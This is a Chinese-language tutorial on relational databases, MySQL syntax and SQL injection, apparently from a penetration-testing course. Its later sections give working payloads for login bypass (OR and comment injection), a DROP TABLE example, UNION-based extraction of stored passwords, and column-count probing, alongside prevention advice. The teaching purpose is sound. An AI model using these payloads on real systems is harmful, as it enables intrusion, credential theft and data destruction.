資料庫與 SQL 注入簡介
現代網頁應用程式大多倚賴後端資料庫來儲存與管理各種資訊,像是使用者資料、貼文內容、圖片檔案等。這些資料透過 SQL(Structured Query Language,結構化查詢語言)來進行查詢與操作,使網站能即時地從資料庫取得資料並動態呈現給使用者。
然而,若未妥善設計後端系統或驗證使用者輸入,就可能讓駭客有機可乘,進而發動 SQL 注入攻擊(SQL Injection,簡稱 SQLi),對系統造成嚴重威脅。
資料庫管理系統(DBMS)簡介
為了有效率地處理資料,現代應用系統多數會使用資料庫管理系統(Database Management System, DBMS)來建立、定義、管理與操作資料庫。DBMS 可分為多種類型,包括:
- 傳統檔案型資料庫
- 關聯式資料庫(Relational DBMS,如 MySQL)
- NoSQL 資料庫(如 MongoDB)
- 圖形資料庫(Graph DB)
- 鍵值儲存系統(Key/Value Stores)
DBMS 廣泛應用於金融、教育、電商等領域,具備以下幾項重要特性:
功能 | 說明 |
---|---|
Concurrency(併發處理) | 支援多使用者同時操作資料庫,確保資料不會衝突或遺失。 |
Consistency(一致性) | 保證資料在操作過程中始終維持有效且正確。 |
Security(安全性) | 提供細緻的權限控制,限制未授權使用者存取敏感資料。 |
Reliability(可靠性) | 提供備份與還原機制,確保資料在損毀或異常時可回復。 |
SQL 查詢語言支援 | 透過直覺式的語法與操作,簡化資料的查詢與管理。 |
兩層式系統架構(Two-Tier Architecture)
典型的網站應用系統多採用「兩層式架構」,如下:
架構說明
- Tier I(用戶端層):
代表使用者介面(如瀏覽器或 GUI 應用程式),負責與使用者互動,例如輸入帳號密碼登入、留言等。輸入資料透過 API 請求送往第二層。 - Tier II(應用伺服器層):
解譯使用者請求並轉換為資料庫可理解的查詢語法,並使用特定驅動程式與資料庫溝通。 - DBMS(資料庫):
接收請求並執行操作,回傳結果或錯誤訊息。由 DBA 管理與維護。
大型系統為提升效能與擴充性,常將應用伺服器與資料庫部署於不同主機。
SQL Injection(SQLi)攻擊詳解
SQLi 是一種常見的網頁安全漏洞,攻擊者藉由惡意輸入特製 SQL 語句,竄改後端預期執行的查詢邏輯,進而存取、竄改、刪除甚至控制整個資料庫。
攻擊流程概要:
- 注入語法(如單引號
'
)突破輸入限制。 - 結合堆疊查詢或
UNION
查詢等技巧執行異常指令。 - 從回應中擷取資料或控制行為。
SQLi 風險與應用案例
SQLi 攻擊可能造成以下嚴重後果:
- 竊取帳號密碼、信用卡等敏感資料
- 繞過登入機制,直接取得系統存取權
- 執行未授權的功能(如進入管理後台)
- 上傳後門程式,控制整個網站伺服器
如何防止 SQL Injection
- 使用 Prepared Statements(預處理語句)取代字串拼接
- 驗證與清理使用者輸入
- 避免顯示詳細錯誤訊息
- 設定資料庫帳號的最低必要權限
- 定期進行安全測試與程式碼審查
透過以上措施,可以有效降低網站被 SQL 注入攻擊的風險,保障系統安全與資料完整。
資料庫的類型
一般而言,資料庫可分為關聯式資料庫與非關聯式資料庫。僅有關聯式資料庫使用 SQL 查詢語言,而非關聯式資料庫則使用不同的資料儲存模型與溝通方式。
關聯式資料庫
關聯式資料庫是最常見的資料庫類型。它使用「資料結構模板(Schema)」來定義資料的儲存方式。例如,一家販售商品的公司,可能在資料庫中儲存顧客資訊、商品資訊與交易紀錄等,而這些通常在後端運作,使用者不會在前端察覺。
每一張表格都有其特定用途,例如:
- 表一:儲存顧客基本資訊
- 表二:儲存已售商品數量與價格
- 表三:紀錄誰購買了哪些商品及付款方式
關聯式資料庫的表格透過「鍵(Key)」互相連結,使資料能快速查詢。這些表格彼此之間都有關聯。例如顧客資訊表可使用顧客的 ID 作為主鍵,以查詢該顧客的姓名、地址、聯絡方式等;商品表也可以為每項商品指定唯一 ID。訂單表只需記錄這些 ID 與數量即可,變動將會同步影響所有關聯表。
舉例來說,users
表可以包含欄位如 id
、username
、first_name
、last_name
等。id
是主鍵。另一張 posts
表可以儲存貼文,欄位可能包含 id
、user_id
、date
、content
等,而 user_id
即用來連接 users
表。
資料表間的關聯稱為 Schema(結構描述)。
透過關聯式資料庫,我們可以用單一查詢快速地從多張表中取得特定用戶的完整資料,這讓關聯式資料庫在處理大規模結構化資料時非常快速、可靠且高效。
最常見的關聯式資料庫系統是 MySQL。
非關聯式資料庫
非關聯式資料庫(也稱為 NoSQL 資料庫)不使用傳統的資料表、欄位、主鍵、關聯或 Schema。相反地,它們根據不同的資料類型採用多種儲存模型,因此具有高度彈性與擴展性,特別適合儲存結構不明確或不穩定的資料。
NoSQL 常見的四種資料儲存模型為:
- Key-Value(鍵值型)
- Document-Based(文件型)
- Wide-Column(寬欄型)
- Graph(圖形型)
例如,Key-Value 模型通常使用 JSON 或 XML 格式來儲存資料。以下是一個 JSON 範例:
{
"100001": {
"date": "2021-01-01",
"content": "歡迎使用本網站。"
},
"100002": {
"date": "2021-02-01",
"content": "這是本網站的第一篇貼文。"
},
"100003": {
"date": "2021-02-01",
"content": "提醒:明天是..."
}
}
這種格式類似 Python 或 PHP 中的字典物件(例如 {'key': 'value'}
),其中 key
通常是字串,而 value
則可以是字串、物件、陣列或類別。
最常見的 NoSQL 資料庫是 MongoDB。
注意:非關聯式資料庫具有不同於 SQL 的注入手法,稱為 NoSQL 注入。我們會在後續章節說明。
MySQL 簡介
本章將透過 MySQL 介紹 SQL 注入的相關概念,學習 MySQL 與 SQL 的基本語法對於了解 SQL 注入攻擊的運作方式與防範手法至關重要。
因此,本節將介紹 MySQL/SQL 的基本語法與範例,並以 MySQL/MariaDB 資料庫為操作對象。
結構化查詢語言(SQL)
SQL 語法在不同的關聯式資料庫管理系統(RDBMS)中可能略有差異,但皆需遵循 ISO 結構化查詢語言的標準。
SQL 可用於執行以下操作:
- 查詢資料
- 更新資料
- 刪除資料
- 建立新的資料表與資料庫
- 新增/移除使用者
- 設定使用者權限
命令列操作
mysql
工具可用來連線並操作 MySQL/MariaDB 資料庫。使用 -u
參數提供使用者名稱,-p
參數輸入密碼。為安全起見,密碼不應直接顯示在指令中。
mysql -u root -p
會提示輸入密碼:
Enter password: <密碼>
mysql>
提示: -p
與密碼之間不能有空格。
若你將密碼直接寫在指令中,如下方式也是可行的(但較不安全):
mysql -u root -p<密碼>
預設連線會使用 localhost
,若要連線遠端伺服器,可使用 -h
指定主機,-P
指定埠號:
mysql -u root -h docker.hackthebox.eu -P 3306 -p
注意: MySQL/MariaDB 的預設埠號為 3306。若伺服器設定不同,需以 -P
另行指定。
建立資料庫
登入資料庫後,可透過 SQL 語法與 DBMS 互動,例如使用 CREATE DATABASE
建立資料庫:
mysql> CREATE DATABASE users;
我們可以使用 SHOW DATABASES
檢視所有資料庫,並用 USE
切換至目標資料庫:
mysql> SHOW DATABASES;
mysql> USE users;
Database changed
補充: SQL 指令本身不區分大小寫,但資料庫名稱通常是區分大小寫的,為避免混淆,建議使用大寫書寫 SQL 語法。
資料表(Tables)
DBMS 以資料表形式儲存資料。資料表由橫向的列(row)與縱向的欄位(column)組成。每欄位都指定特定資料型別(data type),例如:
INT
:整數VARCHAR
:文字DATETIME
:日期時間
以下為建立 logins
資料表的範例:
CREATE TABLE logins (
id INT,
username VARCHAR(100),
password VARCHAR(100),
date_of_joining DATETIME
);
在 CLI 中執行會如下:
mysql> CREATE TABLE logins (
-> id INT,
-> username VARCHAR(100),
-> password VARCHAR(100),
-> date_of_joining DATETIME
);
這會建立四個欄位,其中 id
為整數,username
與 password
為長度 100 的字串,date_of_joining
為日期時間。
可以使用以下指令查看資料表:
mysql> SHOW TABLES;
mysql> DESCRIBE logins;
資料表屬性(Table Properties)
在 CREATE TABLE
語句中,我們可加入各種屬性與限制:
- AUTO_INCREMENT:使
id
自動遞增 - NOT NULL:欄位不得為空
- UNIQUE:欄位值需唯一(例如
username
) - DEFAULT:指定欄位預設值(如使用
NOW()
) - PRIMARY KEY:主鍵,用來唯一識別資料列
範例:
CREATE TABLE logins (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(100) UNIQUE NOT NULL,
password VARCHAR(100) NOT NULL,
date_of_joining DATETIME DEFAULT NOW(),
PRIMARY KEY (id)
);
提示: 伺服器初始化需花費數秒時間,請耐心等待 MySQL 啟動。
SQL 語句
現在我們已經了解如何使用 mysql
工具並建立資料庫與資料表,接下來我們將介紹一些常用的 SQL 語句與用途。
INSERT 語句
INSERT
語句用來新增資料列至資料表中,其基本語法如下:
INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);
上述語法要求填入該資料表中所有欄位的值:
mysql> INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
Query OK, 1 row affected (0.00 sec)
你也可以只針對特定欄位新增資料(例如略過有預設值的欄位 id
與 date_of_joining
):
INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);
注意: 若欄位有 NOT NULL
限制,未填入會導致錯誤。
範例如下:
mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
Query OK, 1 row affected (0.00 sec)
你也可以一次新增多筆資料:
mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
Query OK, 2 rows affected (0.00 sec)
SELECT 語句
資料新增後,可以使用 SELECT
語句查詢資料。SELECT
可用來取得整張表或特定欄位內容:
SELECT * FROM table_name;
星號(*
)代表查詢所有欄位。你也可以查詢特定欄位:
SELECT column1, column2 FROM table_name;
查詢範例:
mysql> SELECT * FROM logins;
+----+---------------+-------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+-------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:56 |
| 3 | john | john123! | 2020-07-02 11:47:10 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+-------------+---------------------+
mysql> SELECT username, password FROM logins;
+---------------+-------------+
| username | password |
+---------------+-------------+
| admin | p@ssw0rd |
| administrator | adm1n_p@ss |
| john | john123! |
| tom | tom123! |
+---------------+-------------+
DROP 語句
DROP
可用來移除資料表或資料庫:
mysql> DROP TABLE logins;
Query OK, 0 rows affected (0.01 sec)
mysql> SHOW TABLES;
Empty set (0.00 sec)
注意: DROP
會直接永久刪除資料表,且不會再次確認,請小心使用。
ALTER 語句
ALTER
用於修改資料表結構,例如新增欄位、修改欄位名稱、變更資料型別、刪除欄位等。
新增欄位:
mysql> ALTER TABLE logins ADD newColumn INT;
Query OK, 0 rows affected (0.01 sec)
修改欄位名稱:
mysql> ALTER TABLE logins RENAME COLUMN newColumn TO newerColumn;
Query OK, 0 rows affected (0.01 sec)
修改欄位資料型別:
mysql> ALTER TABLE logins MODIFY newerColumn DATE;
Query OK, 0 rows affected (0.01 sec)
刪除欄位:
mysql> ALTER TABLE logins DROP newerColumn;
Query OK, 0 rows affected (0.01 sec)
只要有足夠權限,就可以使用以上任一語句操作資料表結構。
UPDATE 語句
UPDATE
語句可用來根據條件更新特定資料列的欄位內容。基本語法如下:
UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE condition;
範例如下,將 id > 1
的使用者密碼更新為 change_password
:
mysql> UPDATE logins SET password = 'change_password' WHERE id > 1;
Query OK, 3 rows affected (0.00 sec)
Rows matched: 3 Changed: 3 Warnings: 0
mysql> SELECT * FROM logins;
+----+---------------+------------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | change_password | 2020-07-02 11:30:56 |
| 3 | john | change_password | 2020-07-02 11:47:10 |
| 4 | tom | change_password | 2020-07-02 11:47:16 |
+----+---------------+------------------+---------------------+
注意: 更新語句必須包含 WHERE
條件,否則會一次更新所有資料列。
查詢結果
在本節中,我們將學習如何控制任何查詢的結果輸出。
排序結果
我們可以使用 ORDER BY
並指定要排序的欄位來對任何查詢的結果進行排序:
mysql> SELECT * FROM logins ORDER BY password;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | | 3 | john | john123! | 2020-07-02 11:47:16 | | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 4 | tom | tom123! | 2020-07-02 11:47:16 | +----+---------------+-------------+---------------------+
預設情況下,排序是依照升冪(ASC)進行的,但我們也可以使用 ASC
或 DESC
來明確指定排序方式:
mysql> SELECT * FROM logins ORDER BY password DESC;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 4 | tom | tom123! | 2020-07-02 11:47:16 | | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 3 | john | john123! | 2020-07-02 11:47:16 | | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | +----+---------------+-------------+---------------------+
我們也可以依照多個欄位進行排序,以下例子會先根據 password
做降冪排序,若相同則依照 id
升冪排序:
mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;
+----+---------------+------------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+------------------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | | 3 | john | change_password | 2020-07-02 11:47:16 | | 4 | tom | change_password | 2020-07-02 11:50:20 | +----+---------------+------------------+---------------------+
限制結果數量(LIMIT)
如果查詢結果回傳太多筆資料,我們可以使用 LIMIT
來限制要回傳的筆數:
mysql> SELECT * FROM logins LIMIT 2;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | +----+---------------+-------------+---------------------+
若我們想要跳過前幾筆資料,可以指定 offset 與筆數,例如:
mysql> SELECT * FROM logins LIMIT 1, 2;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | | 3 | john | john123! | 2020-07-02 11:47:16 | +----+---------------+-------------+---------------------+
WHERE 條件子句
我們可以搭配 SELECT
使用 WHERE
子句來過濾出符合條件的資料,例如:
mysql> SELECT * FROM logins WHERE id > 1;
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 | | 3 | john | john123! | 2020-07-02 11:47:16 | | 4 | tom | tom123! | 2020-07-02 11:47:16 | +----+---------------+-------------+---------------------+
也可以用來比對文字欄位:
mysql> SELECT * FROM logins WHERE username = 'admin';
+----+----------+-----------+---------------------+ | id | username | password | date_of_joining | +----+----------+-----------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | +----+----------+-----------+---------------------+
LIKE 模糊查詢
LIKE
是一個很實用的條件子句,可以搭配萬用字元來搜尋符合特定模式的資料。例如以下查詢所有使用者名稱以 admin
開頭的記錄:
mysql> SELECT * FROM logins WHERE username LIKE 'admin%';
+----+---------------+-------------+---------------------+ | id | username | password | date_of_joining | +----+---------------+-------------+---------------------+ | 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 | | 2 | administrator | adm1n_p@ss | 2020-07-02 15:19:02 | +----+---------------+-------------+---------------------+
%
符號代表任意長度的字元(包括零個字元);_
則代表「一個字元」。例如以下範例只找出使用者名稱剛好為三個字元的帳號:
mysql> SELECT * FROM logins WHERE username LIKE '___';
+----+----------+----------+---------------------+ | id | username | password | date_of_joining | +----+----------+----------+---------------------+ | 4 | tom | tom123! | 2020-07-02 15:18:56 | +----+----------+----------+---------------------+
SQL 運算子
有時候,單一條件無法滿足查詢需求,因此 SQL 提供了邏輯運算子 AND
、OR
和 NOT
,以便一次處理多個條件。
AND 運算子
AND
運算子接收兩個條件,僅當兩個條件都為 true
時才回傳 true
:
條件1 AND 條件2
範例:
SELECT 1 = 1 AND 'test' = 'test'; -- 結果為 1(true)
SELECT 1 = 1 AND 'test' = 'abc'; -- 結果為 0(false)
MySQL 中,任何非零值都視為 true
,0 則為 false
。
OR 運算子
OR
運算子也接收兩個條件,只要其中一個條件為 true
,就會回傳 true
:
SELECT 1 = 1 OR 'test' = 'abc'; -- 結果為 1(true)
SELECT 1 = 2 OR 'test' = 'abc'; -- 結果為 0(false)
NOT 運算子
NOT
運算子會對布林值進行反轉,也就是 true
變成 false
,false
變成 true
:
SELECT NOT 1 = 1; -- 結果為 0(false)
SELECT NOT 1 = 2; -- 結果為 1(true)
符號表示法
AND
、OR
和 NOT
也可以使用以下符號來表示:
AND → &&
OR → ||
NOT → !
SELECT 1 = 1 && 'test' = 'abc'; -- 結果為 0(false)
SELECT 1 = 1 || 'test' = 'abc'; -- 結果為 1(true)
SELECT 1 != 1; -- 結果為 0(false)
在查詢中的運用
你可以將這些邏輯運算子用在 SQL 查詢中,例如:
-- 查詢 username 不是 'john' 的紀錄
SELECT * FROM logins WHERE username != 'john';
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 1 | admin | p@ssw0rd | 2020-07-02 00:00:00 |
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)
-- 查詢 username 不是 'john' 且 id > 1 的紀錄
SELECT * FROM logins WHERE username != 'john' AND id > 1;
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
| 4 | tom | tom123! | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
多個運算子的優先順序
SQL 中的運算會根據「運算子優先順序」來決定執行順序,以下為常見優先順序(由高至低):
- 除法(/)、乘法(*)、取餘數(%)
- 加法(+)、減法(-)
- 比較運算子(=、<、>、<=、>=、!=、LIKE)
- NOT(!)
- AND(&&)
- OR(||)
範例:
SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;
-- 這會先算 3 - 2 = 1,再套入條件 id > 1
+----+---------------+------------+---------------------+
| id | username | password | date_of_joining |
+----+---------------+------------+---------------------+
| 2 | administrator | adm1n_p@ss | 2020-07-03 12:03:53 |
| 3 | john | john123! | 2020-07-03 12:03:57 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)
等同於:
SELECT * FROM logins WHERE username != 'tom' AND id > 1;
SQL 注入簡介
SQL 在 Web 應用程式中的使用
首先,我們來看看 Web 應用程式如何使用資料庫(此處以 MySQL 為例)來儲存與讀取資料。一旦資料庫管理系統安裝完成並設定好後,Web 應用程式就能開始利用它來儲存與存取資料。
以下是一段 PHP 程式碼,用來連接 MySQL 資料庫並查詢資料:
$conn = new mysqli("localhost", "root", "password", "users");
$query = "select * from logins";
$result = $conn->query($query);
查詢的結果會儲存在 $result
,接著可以使用下列 PHP 程式碼將結果逐行印出:
while($row = $result->fetch_assoc()) {
echo $row["name"]."<br>";
}
Web 應用程式通常也會使用使用者輸入來查詢資料。例如,當使用者在搜尋欄中輸入資料時,輸入會傳入 SQL 查詢中,如下:
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput%'";
$result = $conn->query($query);
注意:如果在 SQL 查詢中直接插入使用者輸入,而沒有進行安全處理,可能會導致 SQL 注入漏洞。
什麼是注入?
當應用程式錯誤地將使用者輸入當作程式碼的一部分解讀並執行時,就會產生注入攻擊。這可能是因為使用者輸入中加入了特殊字元(如單引號 '
),導致原本預期的查詢邊界被破壞。
例如,以下是未經過濾的 SQL 查詢:
$searchInput = $_POST['findUser'];
$query = "select * from logins where username like '%$searchInput%'";
$result = $conn->query($query);
如果輸入 admin
,則查詢會變成:
select * from logins where username like '%admin%'
但若輸入 1'; DROP TABLE users;
,則查詢會變成:
select * from logins where username like '%1'; DROP TABLE users;
這樣會導致 users
表格被刪除。
語法錯誤
上述的 SQL 注入範例會回傳語法錯誤:
Error: near Line 1: near ""; syntax error
select * from logins where username like '%1'; DROP TABLE users;
這是因為 '
沒有正確關閉,造成語法錯誤。
為了成功進行 SQL 注入,必須確保修改後的查詢語法正確。這通常需要開發者能夠看到原始程式碼或推測查詢邏輯。
SQL 注入的類型
SQL 注入可根據輸出方式分為以下幾種:
- In-band:結果會直接顯示在前端畫面上,分為:
- Union Based:使用
UNION
合併額外查詢。 - Error Based:利用 SQL 錯誤回傳結果。
- Union Based:使用
- Blind:結果不會顯示在畫面上,但可以透過邏輯判斷結果,分為:
- Boolean Based:透過條件判斷是否為
true
來得知結果。 - Time Based:使用如
SLEEP()
的延遲函數來測試查詢是否執行。
- Boolean Based:透過條件判斷是否為
- Out-of-band:將結果導出到其他地方(如 DNS 查詢記錄),再從外部取得結果。
在本章節中,我們僅介紹 Union Based 的 SQL 注入。
顛覆查詢邏輯
現在我們已經對 SQL 語句的運作方式有了基本了解,接下來就要開始實際操作 SQL Injection。
在開始執行完整的 SQL 查詢語句之前,我們會先學習如何透過注入 OR
運算符與使用 SQL 註解,來改變原始查詢的邏輯。
最基本的例子是:繞過網頁登入驗證,這部分我們將在下方的範例中展示。
驗證繞過
請看下面這個管理員登入頁面的示意圖:
我們可以使用管理員帳號登入,預設的管理員憑證如下:
- 帳號:
admin
- 密碼:
p@ssw0rd
成功登入時的查詢
當我們使用正確的帳密登入時,後端實際執行的 SQL 查詢為:
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
系統會根據查詢結果,檢查是否存在匹配的資料。如果有符合的帳號與密碼,登入就會成功,並顯示如下訊息:
失敗登入的查詢
假設我們輸入錯誤的密碼,例如:
- 帳號:
admin
- 密碼:
admin
那麼實際執行的 SQL 查詢將變成:
SELECT * FROM logins WHERE username='admin' AND password = 'admin';
由於密碼錯誤,查無資料,系統就會顯示:
這是因為 AND
條件運算結果為 false
,所以查詢結果為空。
SQLi 測試:探索是否能注入
在嘗試繞過驗證邏輯之前,我們要先檢查輸入欄位是否能被注入 SQL 語法。
我們可以在「使用者名稱」欄位輸入以下字元之一,來觀察系統是否報錯或行為異常:
Payload | URL 編碼 |
---|---|
‘ | %27 |
“ | %22 |
# | %23 |
; | %3B |
) | %29 |
例子:當我們輸入單引號 '
作為使用者名稱,並搭配任意密碼,例如:
SELECT * FROM logins WHERE username='' AND password = 'something';
若系統回傳 SQL 錯誤,顯示語法錯誤而不是 「登入失敗」 訊息,那就代表此欄位存在 SQL Injection 弱點,可以被利用。
這種錯誤通常是因為引號不對稱導致語法無法正確解析。
OR 注入
我們希望查詢結果永遠回傳 true,無論輸入的使用者名稱與密碼是否正確,藉此繞過身份驗證。為了達成這個目的,我們可以在 SQL 注入中利用 OR
運算子。
根據 MySQL 的運算優先順序文件,AND
運算子會比 OR
運算子先被執行。這代表只要整體查詢中有一個條件為 TRUE
,整個查詢就會回傳 TRUE
。而 OR
的特性就是只要其中一個條件為 TRUE
,就會整體為 TRUE
。
舉例來說,'1'='1'
這個條件永遠為真。為了讓 SQL 語法正常工作並保持引號數為偶數,我們不使用 ('1'='1')
,而是去掉最後一個引號,改用 ('1'='1
,讓原始查詢中原本的引號來結束它。
因此,我們可以這樣注入:
admin' or '1'='1
最終查詢將會如下:
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password='something';
這段 SQL 的邏輯如下:
- 如果 username 是 admin
- OR
- 如果 ‘1’=’1′ 為真(這永遠為真)
- AND
- password 是 something
首先會執行 AND 運算符,並回傳 false 。然後,會執行 OR 運算符,只要其中一個語句為 true ,就會傳回 true 。由於 1=1 始終傳回 true ,因此此查詢將傳回 true ,並授予我們存取權限。
使用 OR 運算子繞過驗證
我們成功以 admin 身分登入。但如果不知道正確的使用者名稱呢?我們再試一次,用錯誤的帳號登入:
登入失敗的原因是 notAdmin
不存在於資料表中,使得查詢結果為 false
。
邏輯運算圖解
- notAdmin = False
- ‘1’=’1′ = True
- password=’something’ = False
- True AND False = False
- False OR False = False
用密碼欄位進行 OR 注入
為了再次成功登入,我們可以在密碼欄位注入 OR
條件,確保查詢總是回傳 true
。
這樣一來,不論帳號密碼是否正確,WHERE
子句中的查詢條件都會回傳 true
,因此第一筆使用者資料就會被查出並登入成功。
這能成功,是因為整體查詢結果無論輸入為何都會回傳 true
。
使用註解(Comments)
在本節中,我們將學習如何使用註解來顛覆更進階 SQL 查詢邏輯,並建立一個可運作的 SQL 查詢以繞過登入驗證程序。
註解的基本使用
就像其他語言一樣,SQL 也允許使用註解。註解通常用於紀錄查詢語句,或忽略查詢中的特定部分。在 MySQL 中,我們可以使用兩種行內註解格式:
--
(兩個減號,後面要有一個空格)#
此外,也可以使用/**/
這種區塊註解,但這在 SQL Injection 中不常見。
範例
mysql> SELECT username FROM logins; -- 選擇 logins 資料表中的使用者名稱
+--------------+
| username |
+--------------+
| admin |
| administrator|
| john |
| tom |
+--------------+
4 rows in set (0.00 sec)
--
。在 URL 中傳遞時,這會被編碼成 --+
,表示空格也被編碼為 +
。我們會在結尾再補上一個減號變成 -- -
來表達有空格存在。#
符號也能作為註解使用。
繞過身份驗證的註解技巧
mysql> SELECT * FROM logins WHERE username = 'admin'; # 你可以在這裡加入任何東西,例如 AND password = 'something'
伺服器會忽略 #
之後的部分,也就是不會評估 AND password。
使用 — 進行繞過
讓我們回到前面的例子,並將 username 欄位的輸入設定為 admin'--
。最終產生的 SQL 語句如下:
SELECT * FROM logins WHERE username='admin'-- ' AND password = 'something';
此語法將密碼條件註解掉,僅確認 username 是否為 admin,因此即使密碼錯誤也可登入。
另一個例子:使用括號
如上例所示,即便帳號正確,由於 id 必須大於 1,admin 的 id 若為 1,就無法登入。密碼也經過雜湊處理。
嘗試正確的帳密登入
admin / p@ssw0rd
使用其他帳號登入
補上括號後的繞過技巧
嘗試輸入 admin'--
會出現語法錯誤,因為少了對應的關閉括號:
改用 admin')--
作為 username,補足括號並註解掉後方語句:
最終結果
SELECT * FROM logins WHERE (username='admin')
如同前面所述,回傳包含 admin 的資料列。
Union 子句
到目前為止,我們只是在修改原始查詢以繞過 Web 應用邏輯與驗證,方法包括使用 OR
運算子與註解。然而,還有另一種 SQL Injection 類型:注入整段 SQL 查詢與原查詢一併執行。本節將透過 MySQL 的 UNION
子句來示範 SQL Union Injection。
Union
在學習 Union Injection 之前,我們先了解 SQL 中的 UNION
子句。它的用途是將多個 SELECT
敘述的結果合併成一組結果。
透過 UNION
注入,我們能夠從整個 DBMS 中擷取與導出資料,包含多個資料表或資料庫。
以下是範例資料庫中 ports
資料表的內容:
mysql> SELECT * FROM ports;
+--------+------------+
| code | city |
+--------+------------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| ZZ-Z1 | Shenzhen |
+--------+------------+
3 rows in set (0.00 sec)
接下來,我們查看 ships
資料表的內容:
mysql> SELECT * FROM ships;
+----------+-----------+
| Ship | city |
+----------+-----------+
| Morrison | New York |
+----------+-----------+
1 row in set (0.00 sec)
使用 UNION 合併結果
mysql> SELECT * FROM ports UNION SELECT * FROM ships;
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| Morrison | New York |
| ZZ-Z1 | Shenzhen |
+----------+-----------+
4 rows in set (0.00 sec)
如上所示,UNION
將來自 ports
與 ships
的資料整合成一個查詢結果。注意:兩個 SELECT 查詢的欄位數與資料型別需相同。
欄位數需相等
UNION
子句僅能用於兩個 SELECT
結果擁有相同欄位數的情況。若兩者欄位數不同,會出現如下錯誤:
mysql> SELECT city FROM ports UNION SELECT * FROM ships;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
因為第一個 SELECT 只返回一欄,而第二個返回兩欄,導致錯誤。
利用 UNION 提取其他資料
假設原始查詢為:
SELECT * FROM products WHERE product_id = 'user_input'
我們可以透過注入來加入 UNION 查詢:
SELECT * FROM products WHERE product_id = '1' UNION SELECT username, password FROM passwords-- '
假設 products
資料表有兩個欄位,這段查詢會導出 passwords
資料表中的 username
和 password
。
不相等欄位數的處理方式
原始查詢的欄位數若與我們想注入的查詢不同,就需要透過填充「垃圾資料(junk)」的方式湊足欄位數。例如:如果原查詢只 SELECT 一欄,我們可以使用如下方式:
SELECT "junk" FROM passwords
該查詢會永遠回傳 junk。若使用數字填充,則:
SELECT 1 FROM passwords
NULL
作為通用資料型別填充。在前面範例中,products
資料表有兩個欄位,所以注入查詢時也需兩欄:
SELECT * FROM products WHERE product_id = '1' UNION SELECT username, 2 FROM passwords
若原查詢為四欄,則需補滿四欄:
UNION SELECT username, 2, 3, 4 FROM passwords-- '
查詢結果會是:
mysql> SELECT * FROM products WHERE product_id UNION SELECT username, 2, 3, 4 FROM passwords-- '
+-----------+------------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+------------+-----------+-----------+
| admin | 2 | 3 | 4 |
+-----------+------------+-----------+-----------+
如結果所示,第二列第一欄成功取得 username
值,其餘欄位以數字填充。
Union 注入
現在我們已經了解 Union 子句的運作方式與應用,接下來要學習如何將其應用在 SQL 注入中。請參考以下範例:
發現注入點
我們觀察到搜尋參數中可能存在 SQL 注入的機會。我們嘗試注入單引號 '
來進行 SQLi 探測,結果出現錯誤訊息:
由於產生錯誤,表示此頁面可能存在 SQL 注入漏洞。這是一個典型可透過 Union-based Injection 來進行資料外洩的情境。
偵測欄位數
在進一步進行 Union-based 查詢利用之前,我們需要找出伺服器查詢結果的欄位數量,以下有兩種方式可以做到:
- 使用
ORDER BY
- 使用
UNION
使用 ORDER BY
第一種方式是使用 ORDER BY
函數。我們透過逐一增加欄位編號排序,直到出現錯誤為止。例如,我們從 order by 1
開始,接著依序測試 order by 2
、order by 3
等。
當排序成功代表該欄位存在,若排序失敗或頁面無輸出,代表該欄位不存在。最後一個成功的欄位編號即為欄位總數。
' order by 1-- -
--
